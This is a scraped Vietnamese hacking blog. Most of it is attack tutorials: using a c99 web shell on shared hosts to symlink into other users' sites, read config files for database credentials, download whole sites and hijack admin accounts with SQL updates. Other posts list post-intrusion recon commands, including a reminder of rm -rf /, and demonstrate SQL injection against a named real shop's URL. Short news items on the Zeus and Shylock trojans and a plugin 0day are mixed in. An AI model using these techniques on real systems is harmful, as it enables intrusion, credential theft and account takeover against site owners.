Keyz Cenly Blog

Các Câu Lệnh Sử dụng Shell và cách khắc phục sự cố không local được

<div dir="ltr" style="text-align: left;" trbidi="on">
1 cài câu lệnh phổ biến cho ae NB, và dể hiễu 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>cat /etc/passwd : liệt kê các user có trên server </code></code></div>
</div>

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>dir /home/user/public_html/ : đi đến public_html của user </code></code></div>
</div>

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>ln -s /home/user/public_html/index.php hehe.txt : ghi file index.php vào file hehe.txt trên thư mục </code></code></div>
<div dir="ltr">
<code><code>mình đang dùng : ví dụ đang dùng <a href="http://abc.com/c99.php%C2%A0th%C3%AC%C2%A0v%C3%A0o%C2%A0http://abc.com/hehe.txt" rel="nofollow">http://abc.com/c99.php thì vào http://abc.com/hehe.txt</a> </code></code></div>
</div>

Vậy muốn ghi con shell của mình vào host người khác thì làm sao ?? 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>ln -s /home/user_của_mình/public_html/c99.php /home/user_của_victim/public_html/c99.php lựa chọn thư mục chmod 777 hay 755 mà có quyền ghi nhé </code></code></div>
</div>

_Nếu bị chmod ko cho ghi thì sao ?? 
=>Thì dir qua web nó rồi run command típ 
_Nếu wa web nó ko run đc thì sao ? 
=>thì xem web nó có forum hay cái gì đó ko mình úp shell thông qua lỗi ảnh hoặc úp wa forum 
-vậy phải làm sao để xem đc file config để vào được database ? 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>cat /home/user/public_html/forum/includes/config.php >> xem file config.php </code></code></div>
</div>

_Nếu ko xem được thì sao ??,diss các hàm và éo có symljnk ?? 
=> thì download website nó về mà ngâm cứu config 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>tar -czf hehehe.tar.gz /home/user/public_html/forum/ </code></code></div>
</div>

>> download nguyên cái forum 
ko thì download cái config nó thôi. 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>tar -czf config.tar.gz /home/user/public_html/forum/includes/config.php </code></code></div>
</div>

_Nếu lệnh zip ko được nữa thì sao ,config mã hóa thì sao 
thì xem cách mã hóa 
hiện tại có 2 cái dezend và base64_decode ,xem google thì bít 
nếu zip ko đc chắc bó tay quá >> đỗi cách khác (nói lăng nhăng quá mình bỏ wa bước này ) 
Vậy nếu có user+pass+data mà đăng nhập ko được ,đăng nhập đc mà ko zip đc thì làm sào sữa đc mà vào admin úp shell trên forum ?? 
=>Con shell mình đang dùng ko phải là root nên rất hạn chế 
1 vài lệnh cải thiện : 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>chmod a+wxr file.php -rwxrwxrwx chmod a+drw file.php -rwxrwxrwx chmod -R a+rx thumuc </code></code></div>
<div dir="ltr">
<code><code>>> giao quyen doc va vao ben trong thu muc,ke ca thu muc con </code></code></div>
</div>

chmod -R a+rw thumuc >> giao quyen doc va ghi… 
chmod -R a+rwx thumuc >> quyen root 
mkdir backup >> tạo thư mục backup 
chmod 777 backup >> chmod nó thành 777 để mình zip data.zip lên 
_Nếu ko chmod 777 được thì làm sao ? 
=> tạo con chmod.php nội dung như sau: 
Quote: 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code><?php chmod("backup", 0777); ?></code></code></div>
</div>

úp lên rồi run
<a href="http://abc.com/chmod.php" target="_blank">http://abc.com/chmod.php</a> 

sau đó úp con dumper.php lên rồi điền info vào zip ,zip xong có thể 
về localhost chỉnh sữa rồi úp lên => backup thế là mình đã quản lí 

-Cách này lằng nhằng quá ,data nó cả trăm M thì phiền ? 

vậy thì dùng con c99.php ,vào chổ nào có user mà chỉnh sữa 
ví dụ nó có bảng user bao gồm id và email ,….thì run command trên SQL của data là 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>update user set email="hehehe@yahoo.com" where id=1 </code></code></div>
</div>

nếu user admin nó có id là 1,đã thay thế = <a href="mailto:hehehe@yahoo.com">hehehe@yahoo.com</a> 
>> sau đó chơi quên mật khẩu gửi user+pass về email <a href="mailto:hehehe@yahoo.com">hehehe@yahoo.com</a> 

hoặc 
Quote: 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>update user set id ='6'where user='hehehe' </code></code></div>
</div>

>> set user hehehe lên thẳng admin (vào reg nick hehehe trước nhá) 
hoặc 
Quote: 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>update user set passwd ="e10adc3949ba59abbe56e057f20f883e" where id=1 </code></code></div>
</div>

>> e10adc3949ba59abbe56e057f20f883e = 123456 >> vào mà đăng nhập user=admin_của_nó ;pass =123456 

mấy bước làm sao thì ae kím clip xem sẽ hiễu 
>> up qua style hoặc plugin gì gì đó là đc thôi 
Chơi thôi đừng quá hoại gì!</div>

Các Câu Lệnh Sử dụng Shell và cách khắc phục sự cố không local được

1 cài câu lệnh phổ biến cho ae NB, và dể hiễu PHP Code: cat /etc/passwd : liệt kê các user có trên server PHP Code: dir /home...

Mã độc Zeus Banking Trojan quay trở lại

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtt9jdb7yCPTDoA1YKT1yNbVkzu5zGeyB03_nCFNVO_XbB5JVwScpF33UFhHhOllEyl3H77YOOGW1kKIA-qsS4VQecV2aRFk1YeIyBMlvKKxRX5iE2ky9XjDCF1_SK_veIYULhJqiE4aPh/s1600/trojan.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="394" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtt9jdb7yCPTDoA1YKT1yNbVkzu5zGeyB03_nCFNVO_XbB5JVwScpF33UFhHhOllEyl3H77YOOGW1kKIA-qsS4VQecV2aRFk1YeIyBMlvKKxRX5iE2ky9XjDCF1_SK_veIYULhJqiE4aPh/s1600/trojan.jpg" width="640" /></a></div>
Một tháng sau khi FBI và Europol gỡ các botnet Gameover Zeus bằng 
cách thu giữ các máy chủ, làm cho hệ thống botnet ngừng hoạt động, các 
nhà nghiên cứu bảo mật đã phát hiện một biến thể mới của phần mềm độc 
hại này trên máy tính người dùng, chúng đang hình thành một mạng botnet 
khổng lồ. 

<h4>
Gameover Zeus Trojan</h4>

Botnet này thực chất là tập hợp các máy tính zombie đặc biệt được 
thiết kế để đánh cắp mật khẩu ngân hàng, thực hiện tấn công từ chối dịch
 vụ (DoS) vào các ngân hàng và tổ chức tài chính khác để từ chối người 
dùng hợp pháp truy cập vào trang web, từ đó lấy trộm thông tin từ người 
sử dụng. Và theo đó, những kẻ phát triển Gameover Zeus đã đánh cắp hơn 
100 triệu USD từ các ngân hàng, doanh nghiệp và người tiêu dùng trên 
toàn thế giới. 

<h4>
Gameover Zeus Trojan mới</h4>

Vừa qua, các nhà nghiên cứu bảo mật tại công ty an ninh Malcovery đã 
kiểm tra một loạt các chiến dịch thư rác mới nhằm phát tán một phần của 
phần mềm độc hại dựa trên mã nguồn của Gameover Zeus và được phát 
tán như một file đính kèm trong thư rác, các email phát tán lừa đảo dưới
 hình thức là các email hợp pháp từ các tổ chức tài chính. 

<h4>
Hướng tấn công</h4>

Malcovery đã có một công bố đầy đủ và tóm tắt về các botnet, cho thấy
 tất cả các email độc hại được gửi để thu hút người sử dụng có chứa một 
file zip với một tập tin .scr đính kèm bên trong. Khi 
mở ra, các tập tin sẽ tấn công vào máy tính và mối đe dọa này rất nguy 
hiểm khi mà nhiều các giải pháp chống virus không thể phát hiện ra. Hai 
nhà phân tích Brendan Griffin và Gary Warner của Malcovery nói “Một khi các tập tin đính kèm được mở ra và phần mềm độc hại được thực thi, chúng sẽ kết
 nối đến một số trang web phù hợp với một Domain được sinh ra theo một 
thuật toán. Mục tiêu là để liên lạc với một máy chủ và có thể lần lượt 
cung cấp hướng dẫn cho các phần mềm độc hại với các mục đích tấn công. Một số sẽ thất bại khi khởi động phần mềm độc hại vì có sự hiện diện của VMWare Tools ngăn chặn. Một số khác sẽ không kết nối thành công vì các phần mềm độc hại phải mất
 từ 6 đến 10 phút để tạo ra ngẫu nhiên các tên miền duy nhất được sử 
dụng để khởi động Zeus Trojan mới và tải về các thông tin ngân hàng từ các tập tin webinject trên máy chủ. ” 

Botnet gameover Zeus mới này rõ ràng mạnh mẽ hơn phiên bản trước. Như Malcovery viết “phát hiện này chỉ ra rằng những tên tội phạm chịu trách nhiệm phân phối gameover không hề có ý định từ bỏ botnet này, ngay cả khi đã từng bị gỡ bỏ với qui mô rộng nhất trong lịch sử”. 
<div style="text-align: right;">
<a href="http://securitydaily.net/ma-doc-zeus-banking-trojan-quay-tro-lai/" target="_blank">SecurityDaily</a> </div>
</div>

Mã độc Zeus Banking Trojan quay trở lại

Một tháng sau khi FBI và Europol gỡ các botnet Gameover Zeus bằng cách thu giữ các máy chủ, làm cho hệ thống botnet ngừng hoạt động, các...

[Cảnh báo] Lỗ hổng 0day trong CopySafe Web Protection WordPress plugin

<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
Một hacker có tên <a href="http://1337day.com/exploit/description/22314" style="font-style: inherit;" target="_blank">Aloulou hacker</a> đã
 công bố một bản khai thác bí mật trên website 1337day.com có thể cho 
phép một hacker upload một webshell lên một website wordpress có sử dụng
 plugin  <a href="http://wordpress.artistscope.com/?page_id=39" style="font-style: inherit;" target="_blank">CopySafe Web Protection WordPress</a>.</div>


<blockquote>
<div>
1337day.com đây có thể được gọi là 1 “chợ” 
của các exploit, nơi mà các hacker, chuyên gia bảo mật, các nhà chính 
trị trao đổi mã độc, các lỗi zeroday mà các hacker tìm ra.</div>
</blockquote>


<div style="text-align: center;">
<a href="http://securitydaily.net/wp-content/uploads/2014/07/wordpress-copysafe-web-protection-vulnerability-620x264.jpg" rel="lightbox[4532]" title="[Cảnh báo] Lỗ hổng 0day trong CopySafe Web Protection WordPress plugin"><img alt="wordpress-copysafe-web-protection-vulnerability-620x264" class="aligncenter size-full wp-image-4533" src="http://securitydaily.net/wp-content/uploads/2014/07/wordpress-copysafe-web-protection-vulnerability-620x264.jpg" /></a></div>


<div>
Hacker đã tìm cách upload một mà độc thông qua CopySafe Web Protection Plugin.</div>


<div>
WordPress được sử dụng bởi hàng triệu website
 và CopySafe Web Protection plugin được sử dụng bởi người dùng 
wordpress. Nó cho phép người dùng có thể cũng cấp 1 số tính năng cho 
người dùng</div>


<ul>
<li style="font-style: inherit;">Copy Protecting Images</li>
<li style="font-style: inherit;">Protecting all web page media</li>
<li style="font-style: inherit;">Copy Protecting Flash, PDF and video online</li>
</ul>

Vậy, nếu bạn đang sử dụng plugin này, hãy tạm thời deactivate nó ngay và chờ các bản cập nhật mới từ nhà cung cấp. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI9lrApn0NTRFv97Y1H1Sg0rh1ITjb7DsZA9mJZO4ZW3dmW7izjLeX6fCVnzR6HYFeIKZ-KsosxAIq515h9-btw1h4G2isCDIa0Ow6BSsX_ICCzRc1hQYMi6-zv5yFuYCQj45EnPwuPWg/s1600/wordpress-copysafe-web-protection-vulnerability.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="568" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI9lrApn0NTRFv97Y1H1Sg0rh1ITjb7DsZA9mJZO4ZW3dmW7izjLeX6fCVnzR6HYFeIKZ-KsosxAIq515h9-btw1h4G2isCDIa0Ow6BSsX_ICCzRc1hQYMi6-zv5yFuYCQj45EnPwuPWg/s1600/wordpress-copysafe-web-protection-vulnerability.jpg" width="640" /></a></div>
<div style="text-align: center;">
 </div>
<div style="text-align: left;">
Lỗ hổng này hiện đang được rao bán rộng rãi với giá 20 Gold trên 1337day.com.</div>
<div style="text-align: right;">
<a href="http://cyberwarzone.com/warning-0day-wordpress-copysafe-web-protection-shell-upload/" target="_blank">CyberwareZone</a> </div>
</div>

[Cảnh báo] Lỗ hổng 0day trong CopySafe Web Protection WordPress plugin

Một hacker có tên Aloulou hacker đã công bố một bản khai thác bí mật trên website 1337day.com có thể cho phép một hacker upload một web...

Cảnh sát quốc tế triệt phá hang ổ trojan Shylock

<div dir="ltr" style="text-align: left;" trbidi="on">
Cảnh sát tại 8 quốc gia đã làm việc với các trung tâm an ninh để tịch thu các tên miền và máy chủ dính Trojan. 
Theo IDG, động thái này được thực hiện để kiểm soát các máy tính bị nhiễm malware có tên Shylock. 

Shylock là một loại Trojan xuất hiện đầu tiên vào 2011, chủ yếu đánh 
vào các hệ thống ngân hàng trực tuyến. Mối đe dọa này được đặt theo tên 
một nhân vật phản diện trong tiểu thuyết “Người lái buôn thành Venice” 
của Shakespear vì sự phân mảnh nhanh chóng của nó gợi liên tưởng tới 
tính cách nhân vật. 

Giống như mọi phần mềm malware chuyên trộm cắp thông tin tài chính, 
Shylock có thể lây mã độc vào website để lấy quyền ủy nhiệm và bẫy nạn 
nhân thực hiện các giao dịch tài chính. Sau nhiều năm phát triển và tiến
 hóa, được đính thêm nhiều module, Shylock đã lây nhiễm lên các ổ đĩa 
ngoài, USB, ăn cắp thông tin từ các chương trình FTP và biến máy tính bị
 nhiễm thành máy chủ. 

Hãng bảo mật Symantec báo cáo trong tháng tư năm 2013 rằng Shylock 
nhắm vào khách hàng của hơn 60 tổ chức tài chính, phần lớn trong số họ 
đến từ Anh, một số từ Ý và Hoa Kỳ. 
<div style="text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5sSBw7qwVMPWXdgBPwULYsF6sy_TdQWpi1CQJUCXwfemHBzr_xd-xm7JTaui1UDChnUX4MV4KBlD9_iRxuZ-sAy15YFPcjthqvLE_qV6MASZSwRkINEboqRWhHmKo-uhgMsppkSTwx_-v/s1600/shylock-1-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="448" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5sSBw7qwVMPWXdgBPwULYsF6sy_TdQWpi1CQJUCXwfemHBzr_xd-xm7JTaui1UDChnUX4MV4KBlD9_iRxuZ-sAy15YFPcjthqvLE_qV6MASZSwRkINEboqRWhHmKo-uhgMsppkSTwx_-v/s1600/shylock-1-1.jpg" width="640" /></a></div>
 
Các hành động này được dẫn dắt bởi Cơ quan chống Tội phạm quốc gia 
Anh (NCA) và được phối hợp từ Trung tâm Tội phạm mạng châu Âu (EC3) tại 
Europol. Đồng hành là các cơ quan thực thi pháp luật từ Anh, Mỹ, Hà Lan,
 Thổ Nhĩ Kỳ, Ý, Đức, Ba Lan, Pháp cùng tham gia với một số nhà cung cấp 
dịch vụ bảo mật, bao gồm BAE, Dell SecureWorks, Kaspersky Lab và Heimdal
 (một phần của CSIS Security Group).Đạo luật thực thi trong tuần vừa rồi
 đã tịch thu các tên miền, máy chủ sử dụng bởi các máy tính bị nhiễm 
Shylock, ngăn chặn các hoạt động giao tiếp giữa các máy tính và với chủ 
mưu. 

Shylock được cho là đã lây nhiễm cho hơn 30.000 máy tính trên toàn 
thế giới, NCA cho biết. Chương trình Trojan đã nhắm mục tiêu tại Anh 
nhiều hơn bất kỳ quốc gia nào khác, nhưng người phát triển “căn bệnh” 
tinh vi này được tình nghi đang ở một nơi khác, cơ quan này cho biết. 

Một máy tính bình thường dễ bị nhiễm Shylock sau khi người dùng nhấp 
vào liên kết độc hại. Mã độc tiếp tục lây lan sau khi người dùng chèn ổ 
đĩa di động vào máy tính đã bị nhiễm độc. 

NCA và Europol khuyên người dùng bật cập nhật tự động trong Windows 
để bảo vệ mình khỏi Shylock. Đó là vì Microsoft đã trang bị khả năng 
phát hiện và loại bỏ các mối đe dọa, nhờ công cụ diệt phần mềm độc hại 
Malicious Software Removal Tool (MSRT). Công cụ này được phân phối thông
 qua Windows Update, nhưng người dùng cũng có thể tải về trực tiếp từ 
trang web của công ty . 
<div style="text-align: right;">
<a href="http://www.pcworld.com.vn/articles/cong-nghe/an-ninh-mang/2014/07/1235335/canh-sat-quoc-te-triet-pha-hang-o-trojan-shylock/" target="_blank">Theo PCWorld VN</a> </div>
<div style="text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
</div>

Cảnh sát quốc tế triệt phá hang ổ trojan Shylock

Cảnh sát tại 8 quốc gia đã làm việc với các trung tâm an ninh để tịch thu các tên miền và máy chủ dính Trojan. Theo IDG, động thái này đượ...

Một số lệnh hữu dụng khi đã xâm nhập được vào hệ thống có shell

<div dir="ltr" style="text-align: left;" trbidi="on">
Khi xâm nhập được vào hệ thống có shell (shell gì thì tùy các bạn) và tùy vào mỗi os mà chúng ta xâm nhập mà thực thi lệnh,sau đây là một số lệnh cơ bản khi attack vào hệ thống có shell. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHLeBP-Ggm7pZsulKu2r7-fJDbMDmLmZsXf-bYjuin_mEuxav-3hSuCzC2lfyTxQyoHsQ2KXgpjXPqmQHCAyk1z_3h5Q5Hm5eFVVlOBMoVjRgxhT-GMl1leoawk0T9ZM4o2QFzvJf1LQQT/s1600/c99.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHLeBP-Ggm7pZsulKu2r7-fJDbMDmLmZsXf-bYjuin_mEuxav-3hSuCzC2lfyTxQyoHsQ2KXgpjXPqmQHCAyk1z_3h5Q5Hm5eFVVlOBMoVjRgxhT-GMl1leoawk0T9ZM4o2QFzvJf1LQQT/s1600/c99.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/c99.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"> </a></div>

 

Đối với linux 


 
<pre>cat ./../mainfile.php - Config file.
ls -la - Lists directory's.
ifconfig {eth0 etc} - Ipconfig equiv.
ps aux - Show running proccess's.
gcc in_file -o out_file - Compile c file.
cat /etc/passwd - List's accounts.
sudo - Superuser Do run a command as root provided you have perms in /etc/sudoers.
id - Tells you what user your logged in as.
which wget curl w3m lynx - Check's to see what downloaders are present.
uname -r - Shows all release info (or) cat /etc/release.
uname -a - Shows all kernal info (or) cat /etc/issue
last -30 - Last logged 30 ip's can change to desired number.
useradd - Create new user account.
usermod - Modify user account.
w - See who is currently logged on.
locate password.txt - Locates password.txt in current dur can use *.
rm -rf / - Please be carefull with this command, i cannot stress this enough.
arp -a - Lists other machines are on the same subnet.
lsattr -va - ls file attributes on linux second extended file system
find / -type f -perm -04000 -ls - Finds suid files.
find . -type f -perm -04000 -ls - Finds suid files in current dir.
find / -type f -perm -02000 -ls - Finds all sgid files.
find / -perm -2 -ls - Finds all writable files and folders.
find . -perm -2 -ls - Finds all writable files and folders in current dir.
find / -type f -name .bash_history - Finds bash history.
netstat -an | grep -i listen - shows open ports.
cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user with no pass.
find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.
cat /proc/version /proc/cpuinfo - Cpu info.
locate gcc- Finds gcc if installed.
set - Display system variables.
echo $path- Echo current path.
lsmod- Dumps kernal modules.
mount/df- Check mounted file system.
rpm -qa- Check patch level for RedHat 7.0.
dmesg- Check hardware ino.
cat /etc/syslog.conf - Log file.
uptime - Uptime check.
cat /proc/meminfo - Memory check.
find / -type f -perm -4 -print 2> /dev/null- Find readble files.
find / -type f -perm -2 -print 2> /dev/null - Find writable files.
chmod ### $folder - Chmod folder.</pre>

 Đối với window 


 
<pre>ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
AT Schedule a command to run at a later time
ATTRIB Change file attributes

BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info

CACLS Change file permissions
CALL Call one batch program from another
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colours of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
CSVDE Import or Export Active Directory data

DATE Display or set the date
Dcomcnfg DCOM Configuration Utility
DEFRAG Defragment hard drive
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory

ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EXIT Quit the CMD shell
EXPAND Uncompress files
EXTRACT Uncompress CAB files

FC Compare two files
FDISK Disk Format and partition
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR Conditionally perform a command several times
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations

GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line

HELP Online Help
HFNETCHK Network Security Hotfix Checker

IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP

KILL Remove a program from memory

LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file

MAPISEND Send email from the command line
MEM Display memory usage
MD Create new folders
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)

NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights

PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
PORTQRY Display the status of ports and services
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt

QGREP Search file(s) for lines that match a given pattern.

RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Read, Set or Delete registry keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files.
REPLACE Replace or update one file with another
RD Delete folder(s)
RDISK Create a Recovery Disk
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)

SC Service Control
SCHTASKS Create or Edit Scheduled Tasks
SCLIST Display NT Services
ScriptIt Control GUI applications
SET Display, set, or remove environment variables
SETLOCAL Begin localisation of environment changes in a batch file
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SOON Schedule a command to run in the near future
SORT Sort input
START Start a separate window to run a specified program or command
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration

TASKLIST List running applications and services
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file

USRSTAT List domain usernames and last login

VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label

WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands

XCACLS Change file permissions
XCOPY Copy files and folders</pre>

Lệnh cơ bản 
Run command 
cat – lệnh này có tác dụng view file, có dạng cat <đường dẫn file> 
dir – lệnh này có tác dụng chuyển đường dẫn thực thi, có dạng dir <đường dẫn mới> 
cd – lệnh này có tác dụng chuyển đổi thư mục, có dạng cd 

Lệnh tạo symlink 
Lệnh symlink có dạng ln -s 
vd ln -s /home/mumauden/public_html/index.php mumauden.txt 
hoặc ln -s /home/mumauden/public_html/mumauden.com/ mumauden 
mkdir : tạo thư mục mới, có dạng mk 
mkdir mumauden 

Lệnh view log để biết đường dẫn tới victim cần local: 
DirectAdmin 
/var/log/httpd/domains/.error.log 
Cpanel 
/usr/local/apache/logs/error_log 

VD: victim là abc.com 
+Nếu site dùng Directadmin thì 
tail -n 10000 /var/log/httpd/domains/abc.com.error.log|grep mumauden 
+Nếu site dùng Cpanel 
tail -n 10000 /usr/local/apache/logs/error_log|grep mumauden 

Với mumauden là cụm từ ta đánh sau site>> để site hiện thị ra thông báo lỗi 
abc.com/mumauden >>cái này đánh trước rồi mới view nhé 

Bổ xung: 
Quote: 

1. Các lệnh về khởi tạo 

+rlogin : dùng để điều khiển hoặc thao tác lệnh trên một máy khác 

+exit : thoát khỏi hệ thống (Bounre-Shell) 

+logout : thoát khỏi hệ thống C-Shell 

+id : chỉ danh của người sử dụng 

+logname : tên người sử dụng login 

+man : giúp đỡ 

+newgrp : chuyển người sử dụng sang một nhóm mới 

+psswd : thay đổi password của người sử dụng 

+set : xác định các biến môi trường 

+tty : đặt các thông số terminal 

+uname : tên của hệ thống (host) 

+who : cho biết những ai đang thâm nhập hệ thống 

2. Lệnh về thư mục 

+cd : đổi thư mục 

+cp : sao chép thư mục 

+mkdir : tạo thư mục 

+rm : loại bỏ thư mục 

+pwd : trình bày thư mục hiện hành 

3. Lệnh về tập tin 

+more : trình bày nội dung tập tin 

+cp : sao chép mọt hay nhiều tập tin 

+find : tìm vị trí tập tin 

+grep : tìm vị trí của chuỗi kí tự trong tập tin 

+ls : trình bày tên và thuộc tính của các tập tin trong thư mục 

+mv : di chuyển/đổi tên một tập tin 

+wc : đếm số từ trong tập tin 

+sort : sắp xếp thứ tự nội dung một tập tin 

+cat : hiển thị nội dung một tập tin 

+vi : soạn thảo hoặc sửa đổi nội dung một tập tin

</div>

Một số lệnh hữu dụng khi đã xâm nhập được vào hệ thống có shell

Khi xâm nhập được vào hệ thống có shell (shell gì thì tùy các bạn) và tùy vào mỗi os mà chúng ta xâm nhập mà thực thi lệnh,sau đây là một...

Hack bằng lỗi JET DATABASE – JET DB

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="entry clear-block">
 Hiên nay nhiều Shop mắc lỗi JET DB

Microsoft JET Database Engine error ’80040e14′

Cách khai thác tương tự SQL Inject, thêm dấu “ ‘ “ sau link và tìm table, nhưng câu lênh và cách tìm table có khác chút

VD : <a href="http://www.kleer-fax.com/proddetail.asp?prod=23305" rel="nofollow">http://www.kleer-fax.com/proddetail.asp?prod=23305</a> 
Thêm dấu “ ‘ “ vào <a href="http://www.kleer-fax.com/proddetail.asp?prod=23305" rel="nofollow">http://www.kleer-fax.com/proddetail.asp?prod=23305</a>’

Xuất hiện thông báo

Microsoft JET Database Engine error ’80040e14′ 
Syntax error in string in query _expression ‘pId=’23305”’. 
 /proddetail.asp, line 246

Hi` hỉ..Thấy gì chưa á …..Giờ tìm table và collumn của nó á. Câu lệnh truy vấn của nó là

%27union%20select%201%20from%20admin

Sau khi thêm câu lệnh vào sau link :

<a href="http://www.kleer-fax.com/proddetail%E2%80%A6%20from%20admin" rel="nofollow">http://www.kleer-fax.com/proddetail…%20from%20admin</a>

Ta được:

Microsoft JET Database Engine error ’80040e14′ 
 The number of columns in the two selected tables or queries of a union 
 query do not match. 
 /proddetail.asp, line 246

hì hì… có tồn tại columb chứ thông tin admin..Tiếp tục đê..coi columb chứa thông tinh Admin nằm ở đâu….

Ta thêm ,2,3,4 ..v.v….sau chỗ select%201 
VD : <a href="http://www.kleer-fax.com/proddetail%E2%80%A6union%20select%" rel="nofollow">http://www.kleer-fax.com/proddetail…union%20select%</a> 201,2%20from%20admin (<a href="http://www.kleer-fax.com/proddetail%E2%80%A6union%20select%" rel="nofollow">http://www.kleer-fax.com/proddetail…union%20select%</a> 201,2%20from%20admin)

Ta lại được :

Microsoft JET Database Engine error ’80040e14′ 
 The number of columns in the two selected tables or queries of a union 
 query do not match. 
 /proddetail.asp, line 246

Tiếp tục thêm ,3 xem sao nào

